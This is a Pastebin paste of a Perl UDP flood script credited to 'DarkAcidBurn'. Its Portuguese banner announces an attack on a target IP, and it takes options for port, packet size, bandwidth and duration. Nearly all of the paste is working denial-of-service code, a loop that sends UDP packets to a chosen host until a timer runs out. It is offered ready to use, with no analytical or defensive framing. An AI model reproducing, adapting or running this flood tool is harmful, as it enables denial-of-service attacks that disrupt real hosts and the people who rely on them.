Advertisement
Guest User

Untitled

a guest
Jan 19th, 2018
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.03 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #####################################################
  3. # udp flood.
  4. ######################################################
  5.  
  6. use Socket;
  7. use strict;
  8. use Getopt::Long;
  9. use Time::HiRes qw( usleep gettimeofday ) ;
  10.  
  11. our $port = 0;
  12. our $size = 0;
  13. our $time = 0;
  14. our $bw = 0;
  15. our $help = 0;
  16. our $delay= 0;
  17.  
  18. GetOptions(
  19. "port=i" => \$port, # UDP port to use, numeric, 0=random
  20. "size=i" => \$size, # packet size, number, 0=random
  21. "bandwidth=i" => \$bw, # bandwidth to consume
  22. "time=i" => \$time, # time to run
  23. "delay=f"=> \$delay, # inter-packet delay
  24. "help|?" => \$help); # help
  25.  
  26.  
  27. my ($ip) = @ARGV;
  28.  
  29. if ($help || !$ip) {
  30. print <<'EOL';
  31. * ********
  32. *** **
  33. ****** ********
  34. ******** **
  35. ********** ********
  36. udp.pl Criado por DarkAcidBurn
  37.  
  38. Para utilizar use:
  39. perl udp.pl IP PORTA 65500
  40.  
  41.  
  42. EOL
  43. exit(1);
  44. }
  45.  
  46. if ($bw && $delay) {
  47. print "WARNING: computed packet size overwrites the --size parameter ignored\n";
  48. $size = int($bw * $delay / 8);
  49. } elsif ($bw) {
  50. $delay = (8 * $size) / $bw;
  51. }
  52.  
  53. $size = 256 if $bw && !$size;
  54.  
  55. ($bw = int($size / $delay * 8)) if ($delay && $size);
  56.  
  57. my ($iaddr,$endtime,$psize,$pport);
  58. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  59. $endtime = time() + ($time ? $time : 1000000);
  60. socket(flood, PF_INET, SOCK_DGRAM, 17);
  61.  
  62. print "Atacando ip: $ip " . ($port ? $port : "By:") . " DarkAcidBurn " .
  63. ($size ? "$size-byte" : "UDP By: XxASxX") . " Erro 448" . ($time ? " for $time seconds" : "") . "\n";
  64. print "Interpacket delay $delay msec\n" if $delay;
  65. print "total IP bandwidth $bw kbps\n" if $bw;
  66. print "Para parar use Ctrl+C\n" unless $time;
  67.  
  68. die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
  69. $size -= 28 if $size;
  70. for (;time() <= $endtime;) {
  71. $psize = $size ? $size : int(rand(1024-64)+64) ;
  72. $pport = $port ? $port : int(rand(65500))+1;
  73.  
  74. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  75. usleep(1000 * $delay) if $delay;
  76. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement